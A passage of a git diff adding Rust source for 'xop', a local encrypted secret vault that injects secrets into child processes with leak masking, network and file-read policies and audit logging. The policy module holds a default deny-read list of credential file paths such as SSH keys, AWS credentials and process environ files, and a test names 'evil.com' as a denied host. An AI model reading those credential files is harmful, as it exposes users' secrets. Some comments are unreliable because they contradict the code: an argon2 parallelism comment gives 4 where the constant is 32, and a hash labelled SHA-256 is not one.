HISTFILE=/dev/null (no history) +/// - SHELL_HISTORY=0 +/// - BASH_ENV= (empty, prevent startup injection) +/// - ENV= (empty) +/// - XOP_INJECTED=1 (so the child can detect it's running under xop) +pub fn harden_child_envp(envp: &mut Vec<(String, String)>) { + envp.push(("HISTFILE".to_string(), "/dev/null".to_string())); + envp.push(("SHELL_HISTORY".to_string(), "0".to_string())); + envp.push(("XOP_INJECTED".to_string(), "1".to_string())); + // Note: BASH_ENV / ENV should be UNSET, not set to empty. + // The orchestrator handles those separately via libc::unsetenv before execve. + // TODO(next-session): plumb those through. +} + +/// Substitute `xop://KEY` placeholders in argv with resolved values. +/// +/// `KEY` must match a vault-internal name from a ref marked `argv_placeholder`. +/// Any placeholder whose `KEY` is not found in `resolved` is left unchanged +/// (so the child sees the literal string and fails visibly rather than +/// silently getting an empty substitution). +pub fn scrub_argv(argv: &[String], resolved: &[ResolvedValue]) -> Vec { + use once_cell::sync::Lazy; + use secrecy::ExposeSecret; + static PLACEHOLDER: Lazy = + Lazy::new(|| regex::Regex::new(r"xop://([A-Za-z_][A-Za-z0-9_]*)").unwrap()); + let by_name: std::collections::HashMap<&str, &str> = resolved + .iter() + .filter(|r| r.argv_placeholder) + .map(|r| (r.name.as_str(), r.value.expose_secret().as_str())) + .collect(); + argv.iter() + .map(|arg| { + PLACEHOLDER + .replace_all(arg, |caps: ®ex::Captures<'_>| { + let name = &caps[1]; + match by_name.get(name) { + Some(v) => (*v).to_string(), + None => caps[0].to_string(), + } + }) + .into_owned() + }) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::secret::ResolvedValue; + + fn mk(key: &str) -> ResolvedValue { + ResolvedValue { + key: key.into(), + name: key.into(), + backend: "local".into(), + value: secrecy::SecretBox::new(Box::new("x".to_string())), + argv_placeholder: false, + } + } + + #[test] + fn ssh_password_picks_askpass() { + let plan = plan(&[mk("SSH_PASSWORD")], &["ssh".into()]).unwrap(); + assert_eq!(plan[0].strategy, InjectStrategy::Askpass); + } + + #[test] + fn mysql_pwd_picks_envp() { + let plan = plan(&[mk("MYSQL_PWD")], &["mysql".into()]).unwrap(); + assert_eq!(plan[0].strategy, InjectStrategy::Envp); + } + + #[test] + fn ssh_key_under_scp_picks_askpass() { + let plan = plan(&[mk("SSH_AUTH_SOCK")], &["scp".into()]).unwrap(); + assert_eq!(plan[0].strategy, InjectStrategy::Askpass); + } + + #[test] + fn harden_envp_adds_histfile() { + let mut envp = vec![("FOO".into(), "bar".into())]; + harden_child_envp(&mut envp); + assert!(envp.iter().any(|(k, v)| k == "HISTFILE" && v == "/dev/null")); + assert!(envp.iter().any(|(k, v)| k == "XOP_INJECTED" && v == "1")); + } +} + +// Suppress unused warning for XopError until error paths are wired. +#[allow(dead_code)] +fn _ensure_used(_: XopError) {} diff --git a/src/lib.rs b/src/lib.rs new file mode 100644 index 0000000..44217da --- /dev/null +++ b/src/lib.rs @@ -0,0 +1,408 @@ +//! xop core library. +//! +//! `run(args)` is the orchestrator. It dispatches to either a subcommand +//! (init / set / list / get / rm / help) or the exec-mode pipeline +//! (`xop [flags] -- CMD`). +//! +//! ## Exec-mode pipeline +//! +//! 1. Parse refs from argv / `--secrets-file`. +//! 2. Resolve via local vault (auth + read `~/.xop/key.db`). +//! 3. Build effective `policy::Policy` from CLI flags. +//! 4. Pick `injector::InjectStrategy` per ref (envp / askpass / fd). +//! 5. Apply guards (stdout pipe filter; network/file policy stubs for P2). +//! 6. Spawn child via `tokio::process::Command` with scrubbed argv + augmented envp. +//! 7. Wait for child, propagate exit code. +//! +//! Throughout: write ref-only audit events to `~/.xop/audit.jsonl` (or `--audit`). + +pub mod args; +pub mod audit; +pub mod auth; +pub mod error; +pub mod guard; +pub mod injector; +pub mod policy; +pub mod secret; +pub mod vault; + +pub mod commands; + +pub use args::Args; +pub use error::{Result, XopError}; + +use guard::Guard as _; // bring setup()/teardown() methods into scope + +/// Top-level orchestrator. Dispatches on `args.command` to either a subcommand +/// or the exec-mode pipeline. Returns the process exit code (0 = ok). +pub async fn run(args: Args) -> Result { + use args::Subcmd; + + match args.subcmd { + Some(Subcmd::Init) => commands::init::run().await, + Some(Subcmd::Set { key, force }) => commands::set::run(&key, force).await, + Some(Subcmd::List) => commands::list::run().await, + Some(Subcmd::Get { key, value }) => commands::get::run(&key, value).await, + Some(Subcmd::Rm { key, force }) => commands::rm::run(&key, force).await, + Some(Subcmd::Reset { yes }) => commands::reset::run(yes).await, + Some(Subcmd::Key { save, remove }) => commands::key::run(save, remove).await, + Some(Subcmd::Run { + secrets, + allow_net, + deny_net, + on_leak, + audit, + dry_run, + cmd, + }) => { + run_join_and_exec(args::RunInputs { + secrets, + allow_net, + deny_net, + on_leak, + audit, + dry_run, + cmd, + }) + .await + } + Some(Subcmd::Help) => { + print_help(); + Ok(0) + } + None => { + // No subcommand — either exec mode or banner. + if args.exec_command.is_empty() && args.no_exec_flags_supplied() { + print_banner(); + Ok(0) + } else { + run_exec(args.as_exec()).await + } + } + } +} + +impl Args { + fn no_exec_flags_supplied(&self) -> bool { + self.secrets.is_empty() + && self.secrets_file.is_none() + && self.allow_net.is_empty() + && self.deny_net.is_empty() + && self.allow_read.is_empty() + && self.deny_read.is_empty() + && self.mask_pattern.is_empty() + && !self.dry_run + && self.audit.is_none() + && !self.no_color + } +} + +/// Exec-mode orchestrator: resolve refs from `~/.xop/key.db`, build policy, +/// spawn child, propagate exit code. +async fn run_exec(args: args::ExecArgs) -> Result { + // Phase 1 — ref discovery + let refs = args.collect_refs()?; + + // Validate command presence (always required, even for dry-run) + args.validate()?; + + if refs.is_empty() && !args.dry_run { + return Err(XopError::Usage( + "no secrets given (use --secret KEY=NAME or --secrets-file)".into(), + )); + } + tracing::debug!(?refs, "discovered secret refs"); + + // Phase 2 — dry-run short circuit + if args.dry_run { + return run_dry(&args, &refs); + } + + // Phase 3 — resolve via local vault (single backend) + let resolved = vault::resolve_all(&refs).await?; + tracing::debug!(count = resolved.len(), "resolved secret refs"); + + // Phase 4 — build effective policy + let pol = policy::Policy::from_args(&args); + + // Phase 5 — open audit log + let mut audit = audit::AuditLog::open(&args.audit_path())?; + audit.spawn_event(&refs, &pol, &args)?; + + // Phase 6 — pick injector strategy + let inj_plan = injector::plan(&resolved, &args.command)?; + tracing::debug!(?inj_plan, "injector plan"); + + // Phase 7 — apply guards + let stdout_guard = guard::stdout::StdoutGuard::new(&resolved, args.on_leak.clone()); + let network_guard = guard::network::NetworkGuard::new(&pol.net); + let file_guard = guard::file::FileGuard::new(&pol.read); + network_guard.setup(&pol).await?; + file_guard.setup(&pol).await?; + + // Phase 8 — build envp delta & scrubbed argv, then spawn + let mut envp_delta = injector::build_envp_delta(&inj_plan, &resolved)?; + injector::harden_child_envp(&mut envp_delta); + let argv_scrubbed = injector::scrub_argv(&args.command, &resolved); + + let exit_code = + spawn_child(&args.command[0], &argv_scrubbed, &envp_delta, &stdout_guard, &mut audit).await?; + + // Phase 9 — teardown + network_guard.teardown().await?; + file_guard.teardown().await?; + audit.exit_event(exit_code)?; + + Ok(exit_code) +} + +/// `xop run [flags] -- CMD` entry point. Collects `xop://KEY` placeholders +/// from argv (no vault open here — that happens once inside `run_exec` via +/// `resolve_all`), then execs. +async fn run_join_and_exec(args: args::RunInputs) -> Result { + use args::LeakAction; + if args.cmd.is_empty() { + return Err(XopError::Usage("xop run: missing command".into())); + } + let on_leak = match args.on_leak.as_str() { + "mask" => LeakAction::Mask, + "kill" => LeakAction::Kill, + "refuse" => LeakAction::Refuse, + _ => return Err(XopError::Usage(format!("invalid --on-leak: {}", args.on_leak))), + }; + let exec = expand_xop_placeholders( + &args.cmd, + &args.secrets, + args.allow_net.clone(), + args.deny_net.clone(), + on_leak, + args.dry_run, + args.audit.clone(), + )?; + run_exec(exec).await +} + +/// Scan argv for `xop://KEY` placeholders and collect them as +/// `SecretRef::placeholder()` so the existing `run_exec` path opens the vault +/// exactly once and resolves both `--secret KEY=NAME` env-inject refs and +/// `xop://KEY` placeholder refs in a single round-trip. argv is passed +/// through un-modified — `injector::scrub_argv` does the substitution after +/// `resolve_all`. +fn expand_xop_placeholders( + argv: &[String], + secrets: &[String], + allow_net: Vec, + deny_net: Vec, + on_leak: crate::args::LeakAction, + dry_run: bool, + audit: Option, +) -> Result { + use once_cell::sync::Lazy; + static PLACEHOLDER: Lazy = + Lazy::new(|| regex::Regex::new(r"xop://([A-Za-z_][A-Za-z0-9_]*)").unwrap()); + + let mut seen: Vec = Vec::new(); + for arg in argv { + for cap in PLACEHOLDER.captures_iter(arg) { + if let Some(m) = cap.get(1) { + let name = m.as_str().to_string(); + if !seen.contains(&name) { + seen.push(name); + } + } + } + } + let argv_placeholders: Vec = seen + .iter() + .map(|n| secret::SecretRef::placeholder(n)) + .collect(); + + Ok(args::ExecArgs { + secrets: secrets.to_vec(), + secrets_file: None, + allow_net, + deny_net, + allow_read: Vec::new(), + deny_read: Vec::new(), + on_leak, + mask_pattern: Vec::new(), + dry_run, + audit, + no_color: false, + command: argv.to_vec(), + argv_placeholders, + }) +} + +/// Spawn the child with the given argv + envp_delta, piping stdout/stderr +/// through the guard. Returns the child's exit code. +async fn spawn_child( + program: &str, + argv: &[String], + envp_delta: &[(String, String)], + stdout_guard: &guard::stdout::StdoutGuard, + audit: &mut audit::AuditLog, +) -> Result { + use nix::sys::resource::{setrlimit, Resource}; + use tokio::process::Command; + + // Resolve program via PATH if not absolute. + let program_path = if std::path::Path::new(program).components().count() > 1 { + std::path::PathBuf::from(program) + } else { + which::which(program).map_err(|_| { + XopError::Usage(format!( + "command not found in PATH: {program} (use absolute path or check $PATH)" + )) + })? + }; + + let mut cmd = Command::new(&program_path); + cmd.args(&argv[1..]) + .env_clear() + .envs(std::env::vars()) + .envs(envp_delta.iter().cloned()) + .stdin(std::process::Stdio::inherit()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .kill_on_drop(true); + + // pre_exec runs in the forked child between fork() and execve(). + // Set RLIMIT_CORE=0 so core dumps can't leak secrets. + unsafe { + cmd.pre_exec(|| { + setrlimit(Resource::RLIMIT_CORE, 0, 0) + .map_err(|e| std::io::Error::from_raw_os_error(e as i32))?; + Ok(()) + }); + } + + let mut child = cmd.spawn().map_err(|e| { + XopError::Usage(format!("failed to spawn {program_path:?}: {e}")) + })?; + + // Pipe stdout + stderr through the guard. + let exit_code = guard::stdout::pipe_filter_loop(&mut child, stdout_guard, audit).await?; + Ok(exit_code) +} + +fn run_dry(args: &args::ExecArgs, refs: &[secret::SecretRef]) -> Result { + println!("# xop dry-run"); + println!(); + println!("Refs ({}):", refs.len()); + for r in refs { + println!(" {:30} → {}", r.key, r.name); + } + println!(); + let pol = policy::Policy::from_args(args); + println!("Network policy:"); + println!(" allow: {:?}", pol.net.allow); + println!(" deny: {:?}", pol.net.deny); + println!(); + println!("Read policy (deny list):"); + for p in pol.read.deny { + println!(" ! {}", p); + } + println!(); + println!("Leak action: {:?}", args.on_leak); + println!(); + if !args.command.is_empty() { + println!("Command: {}", args.command.join(" ")); + } else { + println!("Command: (none — would fail)"); + } + println!(); + println!("(dry-run: not executing)"); + Ok(0) +} + +fn print_banner() { + println!("xop — local encrypted secret vault with Touch ID unlock"); + println!(); + println!("Quick start:"); + println!(" xop init Set up the vault (prompts passphrase × 2)"); + println!(" xop set KEY Store a secret (prompts for value, hidden)"); + println!(" xop list Enumerate stored keys (no values shown)"); + println!(" xop get KEY Print value MASKED (2-char head; -v = plaintext,"); + println!(" HUMAN inspection only — AI agents MUST NOT use -v;"); + println!(" inject via `xop run --secret` instead)"); + println!(" xop rm KEY Delete a key"); + println!(" xop reset --yes Delete the whole vault + audit log"); + println!(); + println!("Inject secrets into a child process:"); + println!(" xop run --secret DB_PASS=db_pass --allow-net=db.local:5432 --deny-net=* -- mysql ..."); + println!(" xop run -- ssh user@host 'echo token=xop://API_TOKEN' # argv placeholder"); + println!(); + println!("Unlock: identity gate first — Touch ID on the local console; SSH / no-fingerprint"); + println!("sessions type the xop passphrase. The 0600 keyring at ~/.xop/keyring removes the"); + println!("passphrase step after a biometric pass or in headless automation (revoke: xop key --remove)."); + println!("Child output is auto-scanned: any vault value the command prints is masked."); + println!("Run `xop help` for full usage."); +} + +fn print_help() { + println!("xop — local encrypted secret vault with Touch ID unlock"); + println!(); + println!("USAGE:"); + println!(" xop [args]"); + println!(" xop run [flags] -- COMMAND [args]"); + println!(" xop [exec-flags] -- COMMAND [args]"); + println!(); + println!("SUBCOMMANDS:"); + println!(" init Set up ~/.xop/key.db (prompts passphrase × 2)"); + println!(" set KEY Store a secret (prompts for value, hidden)"); + println!(" list Enumerate stored keys (names only)"); + println!(" get KEY Print value MASKED (first 2 chars only)."); + println!(" -v/--value prints plaintext — for HUMAN"); + println!(" visual inspection ONLY; AI agents must"); + println!(" NEVER use -v (use `xop run` injection)."); + println!(" rm KEY Delete a key"); + println!(" reset --yes Delete the whole vault + audit log (emergency)"); + println!(" run [flags] -- CMD Execute CMD with vault values injected"); + println!(" key [--save|--remove] Manage ~/.xop/keyring auto-unlock key (0600 file)"); + println!(" help This message"); + println!(); + println!("INJECTION (xop run / exec-mode):"); + println!(" -s, --secret KEY=NAME Inject NAME from vault into child env as KEY"); + println!(" xop://NAME Placeholder in argv (xop run only), substituted"); + println!(" before exec. Visible in ps — prefer --secret for passwords."); + println!(" --secrets-file PATH Bulk-load KEY=NAME pairs from a file"); + println!(" --allow-net=HOSTS Allow outbound network from child (comma-sep)"); + println!(" --deny-net=HOSTS Always-deny network (comma-sep, beats allow)"); + println!(" --allow-read=PATHS Allow child to read these paths"); + println!(" --deny-read=PATHS Always-deny read (beats allow)"); + println!(" --on-leak=ACTION mask (default: keep first 2 chars, e.g."); + println!(" 123456 → 12****【xop禁止将密钥泄漏】) | kill | refuse"); + println!(" --mask-pattern=REGEX Extra regex to mask in child stdout/stderr"); + println!(" --dry-run Print effective policy; never exec"); + println!(" --audit=PATH Audit log path (default: ~/.xop/audit.jsonl)"); + println!(" --no-color Suppress color in output"); + println!(); + println!("EXAMPLES:"); + println!(" xop init && xop set DB_PASS"); + println!(" xop run --secret DB_PASS=db_pass --allow-net=db.local:5432 --deny-net=* \\"); + println!(" -- mysql -h db.local -u readonly mydb"); + println!(" xop run --secret SSHPASS=ssh_pass --allow-net=192.168.1.0/24 --deny-net=* \\"); + println!(" -- sshpass -e ssh user@192.168.1.10"); + println!(" xop run -- ssh user@host 'echo token=xop://API_TOKEN'"); + println!(); + println!("AUTH / UNLOCK (v0.2.1 model):"); + println!(" 1. Identity gate on every vault op: real Touch ID prompt on the local"); + println!(" console (macOS). SSH sessions / no biometrics / Linux → type the xop"); + println!(" passphrase (keyring not used there); headless agent runs skip the gate."); + println!(" 2. Unlock key: read from ~/.xop/keyring (0600 file written by `xop"); + println!(" init`; NOT the macOS Keychain — xop never pops system keychain"); + println!(" dialogs) → no passphrase typing → `xop run` works unattended."); + println!(" No keyring → type the passphrase. Manage: `xop key [--save|--remove]`."); + println!(" `XOP_NO_KEYRING=1` forces typing for one invocation."); + println!(" Passphrase is never read from an env var in release builds."); + println!(); + println!("EXIT CODES:"); + println!(" 0 ok"); + println!(" 64 usage / bad ref"); + println!(" 69 service unavailable (command not found in PATH)"); + println!(" 73 can't create (audit log)"); + println!(" 77 not permitted (auth cancelled, wrong passphrase, key not found)"); + println!(" 78 config error (corrupt vault, missing init)"); + println!(" 79 security violation (leak detected, refused)"); +} \ No newline at end of file diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..de1198a --- /dev/null +++ b/src/main.rs @@ -0,0 +1,30 @@ +//! xop CLI entry point. +//! +//! See `lib.rs` for the orchestrator and `args.rs` for the full CLI surface. + +use clap::Parser; +use tracing_subscriber::{fmt, prelude::*, EnvFilter}; +use xop::{run, Args}; + +fn main() -> anyhow::Result<()> { + // Logging: respect RUST_LOG, default to "xop=info,warn". + tracing_subscriber::registry() + .with(EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("xop=info,warn"))) + .with(fmt::layer().with_target(false).without_time()) + .init(); + + let args = Args::parse(); + + // Run the orchestrator on a tokio runtime. + let rt = tokio::runtime::Runtime::new() + .map_err(|e| anyhow::anyhow!("tokio runtime: {e}"))?; + + // Propagate child exit code per spec. EX_USAGE etc. come from typed XopError. + match rt.block_on(run(args)) { + Ok(exit_code) => std::process::exit(exit_code), + Err(e) => { + eprintln!("xop: {e:#}"); + std::process::exit(e.exit_code()); + } + } +} diff --git a/src/policy.rs b/src/policy.rs new file mode 100644 index 0000000..7560d4c --- /dev/null +++ b/src/policy.rs @@ -0,0 +1,123 @@ +//! Deno-style permission policy. +//! +//! Built from CLI flags in `Args`. Immutable once built. Applied by guards +//! in `guard/`. + +use crate::args::ExecArgs; + +/// Effective policy for the child process. +#[derive(Debug, Clone)] +pub struct Policy { + pub net: NetPolicy, + pub read: ReadPolicy, + pub leak: crate::args::LeakAction, +} + +#[derive(Debug, Clone, Default)] +pub struct NetPolicy { + pub allow: Vec, + pub deny: Vec, +} + +#[derive(Debug, Clone, Default)] +pub struct ReadPolicy { + pub allow: Vec, + pub deny: Vec, +} + +impl Policy { + pub fn from_args(args: &ExecArgs) -> Self { + let mut read_deny = args.deny_read.clone(); + // Pre-seeded deny list — see threat-model.md T6. + for p in DEFAULT_DENY_READ.iter() { + if !read_deny.iter().any(|d| d == p) { + read_deny.push((*p).to_string()); + } + } + + Self { + net: NetPolicy { + allow: args.allow_net.clone(), + deny: args.deny_net.clone(), + }, + read: ReadPolicy { + allow: args.allow_read.clone(), + deny: read_deny, + }, + leak: args.on_leak.clone(), + } + } + + /// Stable hash of policy for audit correlation. SHA-256 of canonical form. + pub fn hash(&self) -> String { + use std::collections::hash_map::DefaultHasher; + use std::hash::{Hash, Hasher}; + let mut h = DefaultHasher::new(); + for a in &self.net.allow { a.hash(&mut h); } + for d in &self.net.deny { d.hash(&mut h); } + for a in &self.read.allow { a.hash(&mut h); } + for d in &self.read.deny { d.hash(&mut h); } + format!("sha256:{:016x}", h.finish()) + } +} + +/// Pre-seeded always-deny file read patterns. +/// +/// Match against resolved absolute path. Glob (`*`) supported. +pub const DEFAULT_DENY_READ: &[&str] = &[ + "/proc/self/environ", + "/proc/*/environ", + "~/.ssh/id_*", + "~/.ssh/known_hosts", + "~/.aws/credentials", + "~/.config/gh/hosts.yml", + "~/.netrc", + "~/.docker/config.json", +]; + +#[cfg(test)] +mod tests { + use super::*; + use crate::args::LeakAction; + + fn make_args() -> ExecArgs { + ExecArgs { + secrets: vec![], + secrets_file: None, + allow_net: vec!["db.local:5432".into()], + deny_net: vec!["*".into()], + allow_read: vec![], + deny_read: vec!["/etc/shadow".into()], + on_leak: LeakAction::Mask, + mask_pattern: vec![], + dry_run: false, + audit: None, + no_color: false, + command: vec!["true".into()], + argv_placeholders: vec![], + } + } + + #[test] + fn policy_includes_user_deny() { + let p = Policy::from_args(&make_args()); + assert!(p.read.deny.contains(&"/etc/shadow".to_string())); + assert!(p.read.deny.iter().any(|d| d.contains("id_*"))); + } + + #[test] + fn policy_hash_stable() { + let p1 = Policy::from_args(&make_args()); + let p2 = Policy::from_args(&make_args()); + assert_eq!(p1.hash(), p2.hash()); + } + + #[test] + fn policy_hash_changes_with_flags() { + let mut a = make_args(); + let p1 = Policy::from_args(&a); + a.deny_net.push("evil.com".into()); + let p2 = Policy::from_args(&a); + assert_ne!(p1.hash(), p2.hash()); + } +} diff --git a/src/secret.rs b/src/secret.rs new file mode 100644 index 0000000..316f17e --- /dev/null +++ b/src/secret.rs @@ -0,0 +1,184 @@ +//! Secret reference types and parsing. +//! +//! A `SecretRef` is the *only* representation of a secret that crosses trust +//! boundaries (CLI argv, IPC, audit log, LLM context). It contains a name but +//! **never a value**. +//! +//! ## v0.2 syntax +//! +//! ```text +//! KEY=NAME # bare name → look up in ~/.xop/key.db +//! ``` +//! +//! Schemes (`op://`, `vault://`, `keychain://`, `env://`) were removed in v0.2. +//! The vault is now local and single-source. + +use crate::error::{Result, XopError}; + +/// A secret reference — env-var name + vault-internal name. No value. +/// +/// Example: `--secret DB_PASS=db_pass` → `SecretRef { key: "DB_PASS", name: "db_pass" }`. +/// +/// `argv_placeholder` distinguishes refs intended for argv substitution +/// (`xop://KEY` in command line) from refs intended for env injection +/// (`--secret KEY=NAME`); both pull from the same vault and are resolved in +/// a single open. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct SecretRef { + /// Env var name in the child process. + pub key: String, + /// Vault-internal name (case-sensitive, alphanumeric + underscore). + pub name: String, + /// `true` if this ref came from `xop://KEY` in argv and should be + /// substituted into argv (not injected as env var). + pub argv_placeholder: bool, +} + +impl SecretRef { + /// Parse `KEY=NAME` form into a `SecretRef` (env-inject by default). + pub fn parse(s: &str) -> Result { + let (key, raw_name) = s.split_once('=').ok_or_else(|| { + XopError::RefParse(s.to_string(), "expected KEY=NAME format".into()) + })?; + let key = key.trim().to_string(); + let name = raw_name.trim().to_string(); + + if key.is_empty() { + return Err(XopError::RefParse(s.to_string(), "empty KEY".into())); + } + if !is_valid_env_var_name(&key) { + return Err(XopError::RefParse( + s.to_string(), + format!("KEY {key:?} is not a valid env var name"), + )); + } + if name.is_empty() { + return Err(XopError::RefParse(s.to_string(), "empty NAME".into())); + } + if !is_valid_name(&name) { + return Err(XopError::RefParse( + s.to_string(), + format!("NAME {name:?} is not a valid vault key name"), + )); + } + + Ok(Self { + key, + name, + argv_placeholder: false, + }) + } + + /// Construct an argv-placeholder ref from a vault-internal name. The + /// `key` field is set to the same value as `name` for symmetry — it has + /// no meaning for placeholder refs. + pub fn placeholder(name: &str) -> Self { + Self { + key: name.to_string(), + name: name.to_string(), + argv_placeholder: true, + } + } +} + +/// Same as `is_valid_env_var_name` — kept as a separate fn for clarity. +fn is_valid_name(s: &str) -> bool { + is_valid_env_var_name(s) +} + +pub fn is_valid_env_var_name(s: &str) -> bool { + let mut chars = s.chars(); + match chars.next() { + Some(c) if c.is_ascii_alphabetic() || c == '_' => {} + _ => return false, + } + chars.all(|c| c.is_ascii_alphanumeric() || c == '_') +} + +/// A resolved secret value. Wrapped in `secrecy::SecretBox` so that: +/// - accidental `{:?}` debug prints show `` +/// - explicit `.expose_secret()` required to read +pub struct ResolvedValue { + pub key: String, + pub name: String, + pub backend: String, + pub value: secrecy::SecretBox, + /// Mirrors the originating `SecretRef::argv_placeholder`. When `true`, + /// the value is intended for argv substitution via `scrub_argv`, not + /// for env injection via `build_envp_delta`. + pub argv_placeholder: bool, +} + +impl Clone for ResolvedValue { + fn clone(&self) -> Self { + use secrecy::ExposeSecret; + Self { + key: self.key.clone(), + name: self.name.clone(), + backend: self.backend.clone(), + value: secrecy::SecretBox::new(Box::new(self.value.expose_secret().clone())), + argv_placeholder: self.argv_placeholder, + } + } +} + +impl std::fmt::Debug for ResolvedValue { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("ResolvedValue") + .field("key", &self.key) + .field("name", &self.name) + .field("backend", &self.backend) + .field("value", &"") + .field("argv_placeholder", &self.argv_placeholder) + .finish() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parse_bare_ref() { + let r = SecretRef::parse("DB_PASS=db_pass").unwrap(); + assert_eq!(r.key, "DB_PASS"); + assert_eq!(r.name, "db_pass"); + } + + #[test] + fn parse_same_key_and_name() { + let r = SecretRef::parse("API_KEY=API_KEY").unwrap(); + assert_eq!(r.key, "API_KEY"); + assert_eq!(r.name, "API_KEY"); + } + + #[test] + fn reject_no_equals() { + assert!(SecretRef::parse("not_a_ref").is_err()); + } + + #[test] + fn reject_unknown_scheme() { + // Old v0.1 scheme syntax is rejected explicitly so users get a + // clear migration error instead of silent breakage. + assert!(SecretRef::parse("X=op://v/i/f").is_err()); + assert!(SecretRef::parse("X=vault://v/i").is_err()); + } + + #[test] + fn reject_bad_key() { + assert!(SecretRef::parse("1FOO=bar").is_err()); + assert!(SecretRef::parse("FOO BAR=bar").is_err()); + } + + #[test] + fn reject_empty_name() { + assert!(SecretRef::parse("FOO=").is_err()); + } + + #[test] + fn reject_invalid_name() { + assert!(SecretRef::parse("FOO=bar baz").is_err()); + assert!(SecretRef::parse("FOO=bar/baz").is_err()); + } +} \ No newline at end of file diff --git a/src/vault/format.rs b/src/vault/format.rs new file mode 100644 index 0000000..7d1ec83 --- /dev/null +++ b/src/vault/format.rs @@ -0,0 +1,212 @@ +//! Binary file format for `~/.xop/key.db`. +//! +//! Layout (little-endian, fixed-position header): +//! +//! ```text +//! [4B magic = b"XOP\x01"] +//! [4B version = 0x0000_0001] +//! [16B salt = argon2 salt (random per vault)] +//! [12B nonce = AES-GCM nonce (random per save)] +//! [NB ciphertext = AES-GCM(key, nonce, plaintext)] +//! [16B tag = AES-GCM auth tag] +//! ``` +//! +//! The ciphertext + tag are written as a single blob (tag concatenated after +//! ciphertext, as per `aead::Aead::encrypt` output convention). + +use crate::error::{Result, XopError}; +use aes_gcm::aead::generic_array::GenericArray; +use aes_gcm::aead::Aead; +use aes_gcm::{Aes256Gcm, KeyInit, Nonce}; +use rand::RngCore; +use zeroize::Zeroize; + +pub const MAGIC: &[u8; 4] = b"XOP\x01"; +pub const VERSION: u32 = 1; +pub const SALT_LEN: usize = 16; +pub const NONCE_LEN: usize = 12; +pub const TAG_LEN: usize = 16; +pub const HEADER_LEN: usize = 4 + 4 + SALT_LEN + NONCE_LEN; // 36 bytes + +/// Header read off disk: salt + nonce. Magic + version are validated but not retained. +#[derive(Debug, Clone)] +pub struct VaultHeader { + pub salt: [u8; SALT_LEN], + pub nonce: [u8; NONCE_LEN], +} + +impl VaultHeader { + pub fn random() -> Self { + let mut salt = [0u8; SALT_LEN]; + let mut nonce = [0u8; NONCE_LEN]; + rand::thread_rng().fill_bytes(&mut salt); + rand::thread_rng().fill_bytes(&mut nonce); + Self { salt, nonce } + } +} + +/// Read header + body from disk. Body = ciphertext || tag. +pub fn read(path: &std::path::Path) -> Result<(VaultHeader, Vec)> { + let bytes = std::fs::read(path)?; + if bytes.len() < HEADER_LEN { + return Err(XopError::VaultCorrupt(format!( + "file too short: {} bytes", + bytes.len() + ))); + } + if &bytes[0..4] != MAGIC { + return Err(XopError::VaultCorrupt(format!( + "bad magic: expected {MAGIC:?}, got {:?}", + &bytes[0..4] + ))); + } + let version = u32::from_le_bytes(bytes[4..8].try_into().unwrap()); + if version != VERSION { + return Err(XopError::VaultCorrupt(format!( + "unsupported version {version} (expected {VERSION})" + ))); + } + let mut salt = [0u8; SALT_LEN]; + salt.copy_from_slice(&bytes[8..8 + SALT_LEN]); + let mut nonce = [0u8; NONCE_LEN]; + nonce.copy_from_slice(&bytes[8 + SALT_LEN..HEADER_LEN]); + + let body = bytes[HEADER_LEN..].to_vec(); + if body.len() < TAG_LEN { + return Err(XopError::VaultCorrupt(format!( + "body too short for tag: {} bytes", + body.len() + ))); + } + Ok((VaultHeader { salt, nonce }, body)) +} + +/// Write header + body atomically: `path.tmp` then rename. +pub fn write(path: &std::path::Path, header: &VaultHeader, body: &[u8]) -> Result<()> { + let mut buf = Vec::with_capacity(HEADER_LEN + body.len()); + buf.extend_from_slice(MAGIC); + buf.extend_from_slice(&VERSION.to_le_bytes()); + buf.extend_from_slice(&header.salt); + buf.extend_from_slice(&header.nonce); + buf.extend_from_slice(body); + + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent)?; + } + + let tmp = path.with_extension("db.tmp"); + std::fs::write(&tmp, &buf)?; + std::fs::rename(&tmp, path)?; + Ok(()) +} + +/// Encrypt `plaintext` under `key`, returning `ciphertext || tag`. +pub fn encrypt(key: &[u8; 32], nonce: &[u8; NONCE_LEN], plaintext: &[u8]) -> Result> { + let cipher = Aes256Gcm::new(GenericArray::from_slice(key)); + let nonce_arr = Nonce::from_slice(nonce); + let ct = cipher + .encrypt(nonce_arr, plaintext) + .map_err(|e| XopError::VaultCorrupt(format!("encrypt failed: {e}")))?; + Ok(ct) +} + +/// Decrypt `ciphertext || tag` under `key`. +pub fn decrypt(key: &[u8; 32], nonce: &[u8; NONCE_LEN], body: &[u8]) -> Result> { + let cipher = Aes256Gcm::new(GenericArray::from_slice(key)); + let nonce_arr = Nonce::from_slice(nonce); + cipher + .decrypt(nonce_arr, body) + .map_err(|_| XopError::VaultLocked) +} + +// ─── KDF ──────────────────────────────────────────────────────────────────── + +/// Argon2id parameters: 64 MiB, t=3, p=4 (OWASP 2023 recommendation). +const ARGON2_MEM_KIB: u32 = 64 * 1024; +const ARGON2_T_COST: u32 = 3; +const ARGON2_P_COST: u32 = 32; + +/// Derive a 32-byte key from passphrase + salt via argon2id. +pub fn derive_key(passphrase: &str, salt: &[u8; SALT_LEN]) -> [u8; 32] { + use argon2::Params; + let params = Params::new(ARGON2_MEM_KIB, ARGON2_T_COST, ARGON2_P_COST, Some(32)) + .expect("argon2 params"); + let argon = argon2::Argon2::new(argon2::Algorithm::Argon2id, argon2::Version::V0x13, params); + + let mut out = [0u8; 32]; + argon + .hash_password_into(passphrase.as_bytes(), salt, &mut out) + .expect("argon2 hash"); + out +} + +/// Zeroize a key buffer after use. +pub fn zeroize_key(key: &mut [u8; 32]) { + key.zeroize(); +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn round_trip_encrypt_decrypt() { + let key = [42u8; 32]; + let nonce = [1u8; NONCE_LEN]; + let plaintext = b"hello world"; + let ct = encrypt(&key, &nonce, plaintext).unwrap(); + let pt = decrypt(&key, &nonce, &ct).unwrap(); + assert_eq!(pt, plaintext); + } + + #[test] + fn decrypt_with_wrong_key_fails() { + let key = [42u8; 32]; + let nonce = [1u8; NONCE_LEN]; + let ct = 